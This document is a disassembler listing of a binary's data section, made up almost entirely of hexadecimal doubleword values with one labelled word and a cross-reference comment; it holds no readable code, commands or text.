dd 1D3DB7D2h, 0E99C1C79h, 39F540DDh, 316CF462h, 600C7E6h
dd 10DF5EE3h, 1A10CB2h, 0C36446F8h, 0D002C4DBh, 0A5EED584h
dd 23A86103h, 0F0373ECAh, 168B2CAAh, 0C583F8h, 702679Bh
dd 0BB077A73h, 9DB7E360h, 9EA69240h, 33320BDFh, 3C00446Dh
dd 0DDE1B075h, 21C0A2F6h, 5217772Dh, 14B90938h, 0D380E2BFh
dd 410C5573h, 8E769600h, 0C7C3A70Eh, 41309AEBh, 0D6204074h
dd 18269962h, 0A680802Dh, 0FFDD8AFEh, 141F00C2h, 0F3B54B59h
dd 895AA740h, 3A0E54D1h, 65D2C0h, 0C90A7D4Ch, 70B035F6h
dd 313E0F00h, 9C1FF4A7h, 6C5B301Ah, 18DD7CBEh, 30596800h
dd 0AC033F64h, 295C0097h, 3A34104Dh, 0AA0F3284h, 0A6C5939Eh
dd 11DC08h, 35428554h, 3FDA5BEFh, 0D5D42C1Ch, 0DF1E7C00h
dd 755577h, 0E892EA48h, 0F87E4CADh, 0DC315800h, 0EAAD5A4h
dd 5C4679D3h, 261C7C66h, 7A670035h, 0A305A5E6h, 413ABC00h
dd 1D25DFEBh, 2A29091Ah, 6A002B36h, 0DA43FEECh, 0EA79909h
dd 0D0280CEh, 39E3AA0h, 0EDE69BF7h, 9FF086C3h, 21FF5BBh
dd 0E500343Eh, 0B16DE112h, 5342008Ah, 3F8999FDh, 0F002ABDh
dd 0F9237DC8h, 3EA5B3h, 0CC4F5D9Eh, 26DE1D44h, 8886F602h
dd 406FA439h, 0B7E655h, 0D42F616Ah, 645F91B5h, 0FCBC650Eh
dd 28F8E0EDh, 1F9288AFh, 801F53E5h, 4D303756h, 8A7021DBh
dd 1349700h, 1327B996h, 0F1A03C7h, 0F746814Bh, 5A22EEE0h
dd 1B34748h, 341B9C42h, 78DCEAFFh, 878900E5h, 5F2E92FCh
dd 65004CB5h, 2119507Ch, 2C988F86h, 3237A57h, 0A8E9EFDEh
dd 0BC391598h, 0DD2A2F01h, 2EFD2805h, 3D27F080h, 62A79319h
dd 7AF05Ch, 76B097C9h, 0ADC5ABh, 0C2919608h, 8F15E7E4h
dd 0E563E00h, 13C74BBAh, 3B4A3F88h, 0F6ED3C0Fh, 65507D20h
dd 433903C3h, 8E448036h, 13858CB3h, 6DF600ACh, 0D7E0A086h
dd 901E5B9Dh, 0BC083ECh, 8B30C780h, 38A501C2h, 0A7105EB2h
dd 76B3F825h, 8A1E39h, 2E45FDD4h, 9AB0C63h, 361895DCh
dd 0C0254684h, 4D91DA41h, 0B403E670h, 3CE05576h, 0C0699A47h
dd 0E79B5C7h, 0D9283A9Dh, 0B2A5B860h, 0CA00082Eh, 0C14A591Bh
dd 4B6CECh, 141E8E31h, 1C7E51BDh, 0FC3037F4h, 1802883Ah
dd 0EC8C0084h, 1D63C1E7h, 7A00BA12h, 2C19EE10h, 0EF1A317h
dd 13909522h, 59F6DBA0h, 0DA06AC0Eh, 0EF4AD671h, 9E680B24h
dd 0AD046CD7h, 55F8C0E6h, 9D776E96h, 59008AE8h, 39ED764Eh
dd 0F0CECB0Bh, 84420057h, 0F2012DC4h, 0E0000858h, 5C89135h
dd 4998F4h, 0D3DFB6BDh, 0E7FF766Ch, 0FCE48107h, 3940881Eh
dd 0E8F72793h, 0A4740011h, 0DF124405h, 3C00E1D7h, 79FE6D7Ch
dd 0A1420A97h, 0D4702B90h, 0BC6A0091h, 6D1C4FDDh, 0A700FCEDh
dd 6B944279h, 97E2ADh, 90B406C1h, 9FAECB89h, 2FCAA800h
dd 0B2636B1Ch, 0FF2200FEh, 0D9C5EB6h, 0FA072CB5h, 69E50ED2h
dd 80D70373h, 707271Ah, 786C26A8h, 2A1CF081h, 0A6038448h
dd 0C6AA775Bh, 6740D86Bh, 8FDF002Ch, 5DE281C7h, 3EE48563h
dd 1B36D301h, 538CB6E1h, 68A0C4h, 9FA5F370h, 0D16E35Dh
dd 0F007490h, 6A321105h, 1D5B49BAh, 0C0196878h, 35140A12h
dd 4B00B865h, 2BF0484Dh, 373405A7h, 0A71AD078h, 219050E9h
dd 3C3FFCA6h, 0F19E178Bh, 5A00BF16h, 3BE95D3h, 0E7DA3C1Ah
dd 0C7C9D160h, 5D008991h, 3AFF724Eh, 182142Ah, 24D2D055h
dd 0F7CCC7F7h, 0BEC42FC8h, 59475805h, 0A9C02B14h, 248F5Fh
dd 755EC6C3h, 8CDCF441h, 8DC76800h, 7D973848h, 5CA300E5h
dd 0B07FB116h, 0CA002E86h, 0BA747A77h, 784EF6h, 3AEA1CECh
dd 0BB91E81Ah, 9F47401Dh, 705D2940h, 377A96h, 5697E3CBh
dd 0DEF4602h, 4002A47Fh, 332DAF98h, 18C0807Ch, 3A3EBD5Ch
dd 26007709h, 6F8CC52Bh, 6C264BA8h, 0B01624CBh, 82CBD07h
dd 0B0FE2983h, 1E41B5Bh, 3758FCAEh, 0FC27C31Dh, 0BFF40399h
dd 5E0042FEh, 0CF122C0Fh, 71238E66h, 415200C0h, 0C47635FFh
dd 0CB0291E9h, 0D4752B71h, 0CD246079h, 0D32D3A5Ah, 52B83C80h
dd 946F19EDh, 171111C3h
dd 0CD39B8CAh, 9A7500B9h, 6F1546A4h, 30A02D68h, 17390CF3h
dd 100E8034h, 0EAB55012h, 3D7A7C06h, 76068B9Bh, 11C1819Fh
dd 0D5413C00h, 4AB8F823h, 0C6C20098h, 5BA3BC6Ch, 0CC03AEB7h
dd 63B26E39h, 74890FF9h, 1C4082DEh, 6F4079D0h, 0E868F401h
dd 0A30F4348h, 138B430h, 0F1CE6BA9h, 0C4556A09h, 47005494h
dd 0B390DE17h, 3367E3Bh, 0C4B1C377h, 7DD07430h, 5A0062D0h
dd 0D9F9A3F1h, 97BAD8Dh, 3EF8D87Ch, 256CFC80h, 1020E16h
dd 0B29D3309h, 19F1404Ah, 0F2EC4Bh, 24FDA0E5h, 4278C118h
dd 5D448700h, 0F5BEA55Bh, 0DF603E3h, 28A6642Eh, 2431F248h
dd 4400BACEh, 8F88947Dh, 69730B26h, 0AD80D7FAh, 8AB8F91Dh
dd 2C3E5200h, 54D69C04h, 689A0020h, 0C3992D65h, 757BC28Fh
dd 2A44AB03h, 0AB245AA2h, 1CBF0FCh, 0AEA2410h, 38E300D4h
dd 0DEFEE5F5h, 8C8F9D00h, 0E61D5B84h, 9C87135h, 91AFE4F9h
dd 2AF76480h, 120FF021h, 201F5175h, 2DBC7C25h, 0E8B80752h
dd 0ACD2C8EDh, 9616641Ch, 0C000F075h, 46848ACEh, 877C002Bh
dd 180AFFD2h, 0F898ED83h, 92D9701h, 746DE428h, 2224C60h
dd 0B21E318Ah, 80C046ABh, 0E500512Dh, 5AC8A7F3h, 4CB1A8h
dd 668C9BC4h, 0A2ABA6E3h, 0DEDAD700h, 0EE543C57h, 0BF780192h
dd 0F55FB2Ah, 8EC8307Eh, 7D00D090h, 0B583DAAh, 1CDC269h
dd 80A5EE7h, 0FC87D77Fh, 88741A60h, 0D0808C18h, 0EFEBD90h
dd 90B5F323h, 0E8CE3660h, 263CC215h, 1978140h, 80867019h
dd 0BBBF7088h, 54DC00B8h, 7D61A229h, 0FC1F2405h, 0E5C20932h
dd 0BC4B4800h, 2907FDD2h, 8DCEC7C6h, 0AADE7B60h, 0BF6A004Fh
dd 34E22740h, 7501103Ah, 0EEF888CDh, 60D49FD1h, 868A00D2h
dd 2559F4DEh, 76E6E3D9h, 36ADA03h, 80C1268Ch, 0F6FD78h
dd 0E8EFDB20h, 0F402EC7Bh, 64601D00h, 5FE28B9Ah, 172000F3h
dd 3178DAABh, 0B0000943h, 32A6A23Eh, 18563906h, 30A3C584h
dd 1300628Ch, 92866ADBh, 0EE33F8h, 77C267B9h, 8DA36840h
dd 5E74E000h, 70C973F1h, 225051Fh, 8086062Bh, 664ABB72h
dd 0E3404200h, 5B399CD3h, 12EC0341h, 3B2E1D21h, 86204ED0h
dd 7FE3BB03h, 0A8E49482h, 0DE610Dh, 49F3F7E8h, 0C41AA8F0h
dd 0C18FD407h, 46308E7Bh, 0B8EC566Fh, 792E0031h, 0D0CFC4Eh
dd 322E1511h, 12002726h, 0B9737255h, 8B029h, 278A7AD4h
dd 3F60C6ACh, 331CA103h, 8877D3E1h, 1DBEAAFCh, 80294D46h
dd 0BF1084C4h, 610020B5h, 2BEF658Fh, 377DEF4h, 0F69EC867h
dd 6EB07FE1h, 4600EEBAh, 0F151DBA0h, 2DE714Eh, 153C364h
dd 4340FF43h, 1175206Bh, 93E0665Ch, 0E0002616h, 46975A28h
dd 4092D8h, 0EABFF457h, 6956D7D9h, 0FAA79A00h, 3E7B8E55h
dd 0D39C051Bh, 0C6B322F4h, 4000D86Fh, 0EA0B466Ch, 1C6642A7h
dd 4369CDB0h, 1FE1412Bh, 0C31154BFh, 0D09CEA9Ch, 0A097D000h
dd 0AC802A00h, 2719C05h, 0F0B90086h, 32C2DE38h, 640146C7h
dd 63330721h, 70F426DCh, 96750037h, 5D9AD744h, 0F4006CF1h
dd 312BB867h, 7B830DD2h, 583300EEh, 248ED90Eh, 0E8006CAAh
dd 0C39ABFA5h, 340C63h, 87D4044Bh, 85671B29h, 0C0242A00h
dd 5EE2D7A9h, 7E6D28ECh, 0BFAA4887h, 0E0542C00h, 0BFA321BDh
dd 310C5803h, 99374467h, 0C0247B05h, 34D10079h, 0D2034766h
dd 0A25C179Eh, 0BEAF0028h, 14C5739h, 0EB9803E8h, 0AAD20841h
dd 5A82C0FCh, 3C00ADACh, 0D502B9E9h, 0BA2EDABh, 0B7C68357h
dd 6E8BC080h, 32E4A8DFh, 0E84A7900h, 0DB77AEE5h, 1CFE0054h
dd 4393B0F9h, 2D1D286Ch, 0B41D5A6Dh, 0BEF3AD40h, 16913D8h
dd 0E4B83ABDh, 36F27B73h, 0E577C494h, 0C086A300h, 0D9E3A8A5h
dd 4060EEB5h, 9A00E78Ah, 0DAF43CA1h, 7625A31h, 5C6F43CCh
dd 626200Ah, 0EA0058B3h, 8EAEF8A8h, 1CC5F178h, 92EF3D82h
dd 4F24C1C7h, 0CC80FE23h, 0A79317D1h, 10C87C16h, 4A2C841h
dd 0A4642F24h, 37E4D8h, 0DAEB9560h, 1A913BBh, 3D08C748h
dd 8F90012Ah, 5FAFB9F2h, 58C46021h, 7CF01F54h, 5B88405Eh
dd 0C371425Ch, 0B2203761h, 0FCD862DFh, 308C9638h, 76B09919h
dd 828D8E00h, 8133AB2Ah, 14D912DCh, 0F1780475h, 866E4199h
dd 0EC60F32Ch, 4B4C581Eh, 90E6FF09h, 5376A800h, 784850FDh
dd 7B230750h, 3487B72Fh, 8D637210h, 0EBAD1639h, 5F1020E7h
dd 220D4782h, 1643F3BEh, 0E9B0E500h, 9D84302Bh, 50355F48h
dd 59F6503h, 0A052C270h, 300B80A9h, 8AC0A107h, 0EE7CD981h
dd 22F38906h, 5CB12F20h, 1A8080FDh, 76110E57h, 886083F2h
dd 99C6F438h, 42804CE1h, 0DF205800h, 6E79BF93h, 5FD7D60Ah
dd 0A49CCC34h, 86168568h, 68070208h, 6444A6Dh, 2EF090A4h
dd 80C0AFE0h, 0AE6759CAh, 6C1226A7h, 0AC007D2Dh, 0C1212E7Bh
dd 0CEE4641Fh, 200EA01h, 0A6F14DB9h, 21FF0178h, 0BEE52CBAh
dd 0C2F0CC91h, 0EAE89A03h, 0B09963FDh, 7DE287h, 64D2AFBBh
dd 9F485588h, 2E39401h, 0C9C53470h, 98586870h, 6E3114C6h
dd 7D00842Ah, 0DB728B0Fh, 0BD0CF353h, 3270D61Dh, 0BCEC0058h
dd 7565D9B0h, 0DD013D27h, 55C5C02Bh, 0CDD877A5h, 0B0160015h
dd 318BD436h, 0CC0253C7h, 0FE9F8FD6h, 2770E866h, 79972C8Ah
dd 10EC0067h, 0E9202B03h, 77CB348h, 0FA2AEB16h, 80774540h
dd 0FED0A879h, 8E20A03Dh, 0A39BB8DAh, 0B4D5A06Ah, 0EF37310h
dd 68E4D120h, 84BBF46h, 7147CB00h, 2540D66Dh, 5F7A2E28h
dd 0F68D3AFEh, 20506F02h, 28B8ECB1h, 60CC2B30h, 50FF34F7h
dd 90383Bh, 499E9A12h, 2AF37CC0h, 63FF3514h, 98822010h
dd 0FEA9147Dh, 78140C64h, 14066089h, 0D4342AFBh, 7DD30500h
dd 0AECB6C5h, 0F0AF00F4h, 8685DC16h, 80F6FEAh, 0C0258C19h
dd 0F8477C8Bh, 0FC0B011Ah, 1E1FE9E0h, 0EC33D099h, 9CDB9200h
dd 0E76316C5h, 0AB710025h, 0FC39B4E5h, 0B2001910h, 2DF880FDh
dd 1CC55363h, 803EC04Ch, 0F7CC8FF2h, 5000E8B9h, 0E66DE1BAh
dd 0EF84101h, 801614CBh, 0CA26FD00h, 0EE2AD6C7h, 4C008CC4h
dd 0CF0A71Ch, 240E0811h, 4B52945h, 0C0AD7903h, 0D490EF26h
dd 67FF1004h, 0FCC02D2Ch, 0CFA571B6h, 88F59E40h, 0EAF8CE00h
dd 34E82B11h, 0BCC1E700h, 0C52D4566h, 7D2EEB0h, 52D7CCA8h
dd 879FA3E0h, 6C363900h, 3E033130h, 0A1B200D3h, 97585312h
dd 0B8006284h, 987823C9h, 103DD242h, 11D75E0h, 8EA50A7Dh
dd 0B7F83F46h, 10E0039h, 897CDC2Dh, 0D21EB85Ch, 1D03D077h
dd 900F4F6Ah, 0F8BFD68Fh, 49EB00F7h, 0F3CAEEAAh, 8CF2D4A2h
dd 3A424h, 0BE76AE43h, 131D0069h, 0A8FC3663h, 0B9C38B9Dh
dd 815601A4h, 0ECF8B1B5h, 5DC15815h, 0EF7BE800h, 0F72E7C46h
dd 9DA66900h, 0EA213380h, 3DF0004Eh, 31B64792h, 0ED09341Bh
dd 8C327F28h, 462A1139h, 842C0288h, 20521244h, 0BB467F97h
dd 0FF741C9h, 8304F56Ch, 7D43E850h, 0D85B5810h, 421F432h
dd 291C4DE3h, 183029FBh, 0CE651Ch, 0E7E634A0h, 532DB817h
dd 0F6796100h, 5574F821h, 2E520DA6h, 9D694887h, 22B058h
dd 3D0B5FBEh, 7ADD5C8Ch, 46BA70Ah, 2B3B10FDh, 54873CC8h
dd 0CE000D31h, 1E63A0DEh, 7D619B1Bh, 48029400h, 7F1DE808h
dd 69BDB001h, 4207F212h, 6B1B818Eh, 56C498C0h, 0BC33FBDBh
dd 4F085Eh, 42618221h, 5DCD4ED4h, 603B891Fh, 5FF779B0h
dd 0DFD10099h, 0FB3E8F6Eh, 8CC7F86h, 14121EBh, 1324D191h
dd 8A28984Eh, 806F2E39h
dd 11AE443h, 57FC7AD1h, 0F3D86A29h, 0EF4DD390h, 211BE430h
dd 0E384BEh, 0D4613170h, 802E5481h, 782447E7h, 60CAA680h
dd 7B7B619h, 377A6335h, 1ED14024h, 4C1C41C4h, 7C4064CEh
dd 7843A736h, 0E3321BF5h, 0E4B04111h, 9B0398C0h, 933F5BD1h
dd 170830B9h, 0C0EC5F21h, 0F08DF80Fh, 0CB440033h, 253C84h
dd 6CE6BD97h, 9B5C61F4h, 0E0C37A2Ah, 93F39F00h, 97FBA96Fh
dd 4EA70A09h, 0A8ECFC84h, 0CB3C4508h, 0EBA89822h, 0C008E018h
dd 70F19B94h, 0C01CE853h, 78007924h, 2EB058A0h, 971800D0h
dd 73C34AD3h, 933D6596h, 8392BB5Eh, 57BF878h, 0D840FD7Ch
dd 55B7C8FEh, 1C4D068Fh, 99406B2Eh, 0B07C5B00h, 93FB5CF9h
dd 4330C106h, 0BE05CA04h, 0F02F2A81h, 533CE000h, 15D78678h
dd 2E0B0E33h, 5A309C2h, 31646FC0h, 0EA6330E0h, 0E19B9AF8h
dd 512F448Ch, 15C0F201h, 446B34F8h, 0E0614C40h, 16F500D4h
dd 875C3FD8h, 0BCAAC782h, 27199884h, 0FC81B81Ah, 0BE0A8588h
dd 665DE4F4h, 0C12D21F8h, 3002EB7Bh, 0C7DF26CBh, 3C9484A9h
dd 0E8C9608h, 70848143h, 58E205B5h, 834A67Dh, 0D18385A0h
dd 0FA95FFh, 35D71261h, 8BB05502h, 78201F1Eh, 2B08F3h
dd 22DBD79h, 0E4134C57h, 38F60935h, 2E23503Ah, 7D05FD02h
dd 4F58845Eh, 7F6A9F40h, 99E486D0h, 53BF5807h, 0C881D83Eh
dd 0F9DB763Ch, 0D8420EE3h, 3F660410h, 35001623h, 0DB572B05h
dd 56AB0081h, 859B7422h, 0A504061Ah, 9708B604h, 217D3C92h
dd 114E0E4Ch, 97C433ADh, 357C9Ch, 7E1AE382h, 2FFDC4DFh
dd 29630F34h, 31E96C82h, 0C499D86Ah, 50226E46h, 42608100h
dd 4091F09Eh, 9F4E085Ch, 0DC200134h, 98029246h, 33B06A02h
dd 0C2102A31h, 2F3E0230h, 42010045h, 61D5A82h, 0C0E7547Bh
dd 0E2CA0E9Fh, 0B462D49Bh, 0ADC06996h, 453E05C5h, 9670672h
dd 471B106h, 0B7C4A6F7h, 83C48865h, 91E44F44h, 0FBD900B8h
dd 0A94C3256h, 35CE1101h, 0B6FC4FB2h, 266569E8h, 11D86D86h
dd 0D198806Fh, 8C676EE2h, 425844h, 75AAD190h, 921DB5EBh
dd 502A9D0Ch, 0C71321EFh, 804FF11Ah, 18DD06E0h, 0C6479F05h
dd 93828D6Dh, 44584742h, 80D6028h, 0E0F91CCCh, 0C104CAD6h
dd 87720174h, 801CE4A1h, 843C6111h, 1171D03h, 34D249A7h
dd 52137683h, 0C1211990h, 9BED791Ah, 1DB8960h, 0C8EEB4E6h
dd 408CCDCFh, 470D97ACh, 7EAD88h, 98DB713Bh, 48A8F522h
dd 99564Ch, 5C35DF6Ch, 0F3647A99h, 6FE3E834h, 2D026922h
dd 0F5C0B430h, 2607BD42h, 80D8842Ah, 9A189250h, 0BC9E006Ch
dd 41994FDAh, 7007968Ch, 0BA8B6D5Bh, 0F1506191h, 7D80B055h
dd 1EE91D94h, 0C0496BD5h, 0CC555185h, 0B701EC69h, 9854F544h
dd 4040E436h, 431F1Ah, 611B25EFh, 0BEEC9C3Ah, 0D3556D00h
dd 95A04251h, 0E2AB0011h, 463C0396h, 4E1215DBh, 0C402E85h
dd 7C5CA697h, 38AE7576h, 0A8C8985Dh, 8C5AE8h, 667243F0h
dd 0C83CF6A8h, 0CCBF042Ah, 4B0F3B01h, 503F0180h, 0DDF140F3h
dd 0BF7ABDh, 0C6CF9C1Fh, 0AE9181B5h, 0A97D623Fh, 9826D06Fh
dd 858EFB10h, 9B650691h, 46B013C7h, 4573BE6h, 0D976C434h
dd 8F2A5432h, 4B314200h, 48B693E8h, 0B700C4E4h, 184E33Ah
dd 10020EA5h, 73D3F0A7h, 0AED4E0EFh, 0F3138806h, 6D069BF6h
dd 0EE501071h, 7F770019h, 7BC3A62Eh, 8302065Ch, 43F1F08h
dd 0B8490CDh, 31D66A4Fh, 574674D0h, 0FFB9C700h, 0C0686C0Ah
dd 24BF2526h, 2C46BC28h, 9E8BDE3Fh, 0A81CC19Bh, 0C0E65D1Dh
dd 8697003Ch, 859D2AF6h, 691116EAh, 7DF800A6h, 97101EA3h
dd 7A29B0F2h, 2AD134CCh, 810BEC18h, 18438B66h, 0B90EC4h
dd 54132B62h, 2AC39FC8h, 9C3CCC92h, 0A60972BDh, 97CFE2FEh
dd 802B91C8h, 0C4FE3EF0h, 0C86D599Fh, 0E8BCEC49h, 4C56E900h
dd 825E9D4Dh, 8B90C873h, 6B0297C0h, 244AEFB0h, 22FB700h
dd 4AB177A9h, 516E5201h, 597D060Fh, 2E88EC28h, 4F403444h
dd 8DDE1A2Ch, 135C410Eh, 90026030h, 4B2805E5h, 9F10219Bh
dd 8091F24Eh, 0D8324Fh, 0E0CC748Ch, 0EDA55Ch, 0C8E2F81Ch
dd 159AAD0h, 6597FC01h, 2A64599h, 418026DDh, 0D1ECB357h
dd 11007705h, 0D9905A0Bh, 3F5F181Ah, 4128D01h, 966830C7h
dd 99604EA6h, 0F7A1211h, 111F44E4h, 0E2DE0A01h, 0B87F985Ah
dd 0E4505822h, 5BCD4483h, 800CFA48h, 8C39B09Ah, 581D6444h
dd 7E143F5h, 0D531004Dh, 4C6941E5h, 3000BF08h, 0E3388768h
dd 0FE2E34F4h, 98550103h, 14A006FEh, 96002178h, 0F0483C0Eh
dd 234C096h, 9346B056h, 0B6182322h, 8090022Ch, 0F9BB0004h
dd 95814E4Ah, 3D88460Dh, 87440116h, 821603Ch, 5019804Ah
dd 4BF2CBA2h, 0B243059Dh, 0CCB1BF41h, 45007570h, 0A098EBE1h
dd 3789DAh, 25AD14B7h, 5C97A6E5h, 0E84EF629h, 18C40404h
dd 0C0FA1488h, 0A4AEB9C1h, 0AA18BA80h, 1921141Bh, 368B0237h
dd 0CA03C599h, 805C28E6h, 70DD804Ch, 192F030h, 4FED99F9h
dd 817197CAh, 2F980A29h, 0AF302A77h, 0FB67027Ah, 6B0D842h
dd 1A0EAC4Ch, 8B12CAFCh, 4C940AC3h, 4D3AC466h, 0F92CCE8h
dd 46AB9EBCh, 10532431h, 42637Ch, 3B2B1FE6h, 339A4EB8h
dd 0B446C4AAh, 5B9CF000h, 5AA9A6C4h, 68F5582Fh, 6AA8224Ah
dd 5830F311h, 0E5048C2Dh, 0C99B9DC0h, 5C202D62h, 1282C0EDh
dd 122FE95Dh, 970C9040h, 0C500B603h, 73B92475h, 0F8E4BFB0h
dd 601C9EFBh, 1BA5B841h, 8BD37D07h, 0A6408060h, 0F9C3267h
dd 0C57F627Eh, 0D5656480h, 711C6E5Fh, 1FE9198h, 55236699h
dd 1080A29Bh, 323990C8h, 20007807h, 48EA0E8Ch, 0A2D362h
dd 4A9A815Ch, 0A5D4731Bh, 983C6F74h, 0CA830092h, 0C9656B8Fh
dd 87B6C8Bh, 0D27A6430h, 0D47E627Ch, 0CF701B00h, 0D5796DA6h
dd 8F6E147Eh, 44764D6h, 2DFBA8AFh, 2024F214h, 29E608Ch
dd 43B0236Ch, 0B80F2111h, 0A9800236h, 5374377Ah, 87C4FB1Fh
dd 1C4A6747h, 2B8882B0h, 0A8FD5CFAh, 561DED23h, 8EC43582h
dd 40DC1BD9h, 14426C85h, 0D02800A2h, 343FB86Eh, 0B2145E9h
dd 9B04004Fh, 53C0DE8Bh, 0D6690C06h, 18486034h, 0C95A9F4Eh
dd 9430DAB0h, 0B7C28804h, 0A0EA6C86h, 0A02DBF40h, 91149DF5h
dd 65E802Ah, 0F296BA6h, 19679574h, 88447A0Bh, 0E840009Eh
dd 3EA7442Ah, 0C806F082h, 883F329Fh, 2A44BC87h, 5254E060h
dd 2FB4FA1Ch, 15F58280h, 9C623B8Ah, 0D19360CCh, 7F466EDDh
dd 3F1EF222h, 66C6D18Bh, 9DA904E4h, 0F2D5D6C0h, 0ED149300h
dd 9F11BF09h, 68AF0567h, 17022FC0h, 5506EC4h, 9C148EADh
dd 31D463h, 0C0BC4CB1h, 4505C1FDh, 9643C09Eh, 9063A288h
dd 10D1946Ch, 0E0876EDEh, 8D18C46h, 6E45CBDh, 94434085h
dd 258BC0FAh, 0B9078C10h, 0DFB983Ch, 11801F09h, 0F689802Dh
dd 14C124A3h, 0F84A511Eh, 0F47F1284h, 0C0187CBCh, 19D8C3AEh
dd 0F5923837h, 23428A80h, 0C084FD1Bh, 78F9D567h, 0F5FE8950h
dd 5ABA00AAh, 0B880FD19h, 0E804E213h, 0E7CB1245h, 723EA880h
dd 6C414818h, 0EE2684h, 7A488BF8h, 0D189C075h, 82AFFE14h
dd 43205869h, 54DD908h, 1AD4A180h, 93348166h, 0A52A2703h
dd 0A0EF8A79h, 30A299A9h, 35884702h, 2754FB5Ch, 7A00D280h
dd 8A494A52h, 0FAC1695h, 833A4244h, 4E657520h, 3499B3D4h
dd 0FDB00506h, 0D0560971h, 24072E6Bh, 235B3099h, 2228AC15h
dd 6E0C8831h, 0F0FAFBC0h
dd 7C341872h, 558C4941h, 386AB013h, 0B45C2C43h, 2F915E01h
dd 24235Ch, 0F692CD74h, 681366B2h, 38028C4Dh, 923D8h, 1F5BCB11h
dd 9EA43D0Ch, 69DA022h, 9A7C43A8h, 20E11032h, 58BEDB40h
dd 49F0EA47h, 87144Dh, 50DE52E0h, 0FB226BC5h, 24A71F07h
dd 0CB304C5Dh, 0E4F68372h, 180C9809h, 0A130FB8Bh, 0A400D292h
dd 0C5B164ACh, 1338C16Ah, 0CBCFA31Eh, 0A39D04h, 0BA9A9E4Dh
dd 3F03B0CBh, 0A68A9B73h, 12C0241Bh, 941C0420h, 0C08CD14Dh
dd 5618A30h, 4E40DCB5h, 8007CBD0h, 7E4A34A2h, 9BD42897h
dd 977C88h, 0E9628BA5h, 471FB39Fh, 3053C748h, 2E919132h
dd 0B8841F6Bh, 868EC00Dh, 637119C3h, 55C9E04h, 0E0A90F08h
dd 1F92FE00h, 0DF687F88h, 0CC6E6F4Eh, 111B6A0Fh, 823C1484h
dd 7A055D94h, 97289404h, 0BA808CA8h, 0E2C56DDDh, 0B258C209h
dd 995CE8E4h, 0C11402C7h, 0DAD751Fh, 0E4D19643h, 61218021h
dd 4C8A46DFh, 681A0EBDh, 87E0967Dh, 556B388Fh, 0D92E8401h
dd 0F650625Ch, 8AF3A850h, 56BB0011h, 0B4C572DCh, 57009B07h
dd 0C3058B73h, 541EC478h, 1C750DBh, 609152Fh, 60C24DCBh
dd 46763424h, 80D16E87h, 0F0DB4139h, 0D39501D6h, 5272BA73h
dd 0AF44D4F3h, 5944B8A7h, 60E76067h, 8FEC29A6h, 7904A49h
dd 1BD84F0Fh, 0FB2003F9h, 0B9890025h, 74500CC1h, 0CC00B7CBh
dd 0BAB28875h, 48807B63h, 530258CAh, 3B72A29Bh, 9BC44463h
dd 0B42DC104h, 0E4FCD015h, 48219523h, 2009B895h, 850079E3h
dd 7B8C519Ah, 0FA6A89h, 82AEEBA6h, 0FE3376E2h, 1EAFC409h
dd 3F200048h, 6055B97h, 0CF44BD86h, 980319C6h, 3E8A6B67h
dd 8417FA80h, 996091CCh, 0B0216902h, 31B9C02Bh, 22008602h
dd 0F836CC92h, 98341CDAh, 8BD54A78h, 0C12AC854h, 0D011D77Eh
dd 0E0C72A3h, 50452473h, 582095E3h, 0C3A8CB38h, 4BF90900h
dd 0B108A04Ah, 0E79A1897h, 490EE058h, 9A6DF80h, 5BD976BCh
dd 4EEF6420h, 0FF4C609Dh, 8C21F8C4h, 8042513Eh, 0F69CFC4Dh
dd 99762F3h, 0E7735BA6h, 0AC770CA4h, 8CD434h, 46D9BB9Fh
dd 71D4BC9Dh, 995C28E3h, 7A232580h, 2EC444E5h, 0AE72CF60h
dd 3870DA14h, 0E4884B90h, 0BA1D008Dh, 0F0A36211h, 9609B2C4h
dd 91904E76h, 943250D8h, 0A99F2A3Eh, 626681E4h, 1051852Eh
dd 6E7608Bh, 0E1434E31h, 8840897h, 0A76A9901h, 2D67D856h
dd 1C879420h, 898D047Ah, 348B89FDh, 0D19A8430h, 976EE011h
dd 4080EC88h, 17D8D192h, 0E8BA489Bh, 9C7C5B18h, 0B00BFB9Eh
dd 252C9472h, 10F2ACA4h, 0A0CF58F7h, 0DDFBD6D9h, 42F7128Ch
dd 4E0C058Eh, 1030B493h, 13403890h, 48B779C8h, 5018245Ch
dd 637A9F0h, 1636F60Eh, 9580874Dh, 8DB10CB0h, 0CB4F0FADh
dd 2EE25F83h, 0A4AA457Dh, 505A08C4h, 4D899409h, 0C0606210h
dd 0B700D051h, 48920FD7h, 77862CB4h, 27C130E8h, 1658C605h
dd 61798888h, 7205FC0h, 0E4EAB3C3h, 84CA9F04h, 7E34D09Dh
dd 0A8164D59h, 8C20A6DAh, 33B9965h, 3473FC68h, 18095B57h
dd 0F6A2C04h, 0B017FDB0h, 0C8FD160Bh, 263AD398h, 2430A708h
dd 148A9FA8h, 9D807C6Ch, 6F6EE3D1h, 3D5A448Ch, 34D19500h
dd 0EA10FA1Fh, 459D0FF0h, 0A2CF8189h, 0B80030C9h, 508FD4E3h
dd 5877B22Ch, 0CA9C9700h, 3CB79BD5h, 76250423h, 5791E897h
dd 0BDA47B80h, 0AE0AC83Ah, 0C0B7D670h, 5079F660h, 68D516D8h
dd 976C60FEh, 132CD067h, 33911C35h, 57CA2Ch, 750D8AD4h
dd 91000F71h, 0CD97BD7Bh, 9065F55Ch, 26D460Ch, 6EE4D19Eh
dd 3C051C77h, 6CC1D196h, 766AEC8Ch, 0CCF0029h, 2D3FD9CDh
dd 0BA00BDCEh, 3691F25Ah, 96A2A425h
db 34h, 40h
word_505446 dw 0D47Bh ; DATA XREF: ___:off_435718o
dd 0BC00D897h, 9DFDCF12h, 0B0CD4EB1h, 1F5B13F4h, 23E02F7Ah
dd 0E3ED002Dh, 0C12C498Eh, 2CFD8A24h, 341C5A12h, 903B288h
dd 9013832Eh, 666B7E0h, 6F859880h, 441218F9h, 0A443E760h
dd 1D40CFC4h, 52821687h, 18B01240h, 0EB8949F5h, 3CE20D3Bh
dd 9AF80745h, 0C5B992D8h, 6057C434h, 392310Ch, 0B856BFA5h
dd 78042C33h, 24227A9Bh, 31B0FCA0h, 93180603h, 0F09845C1h
dd 5174B0Ch, 90C45876h, 5EBCE8ECh, 834C028Ch, 4F713034h
dd 64445062h, 14509C81h, 378050B8h, 0D7AE6369h, 0D92A2100h
dd 0A541DEBh, 0ACB01343h, 6BEC04CBh, 0A0C85252h, 711A0748h
dd 50694E37h, 0BF62673Ch, 80E3471h, 5F3E3F6Fh, 80C9D892h
dd 0CA4A5833h, 0C317C850h, 8ABA3E6Bh, 61F15D60h, 95902400h
dd 2DAEBE9Ch, 728B00A7h, 7D7FC87Eh, 29F89DCCh, 0A0B2187Ch
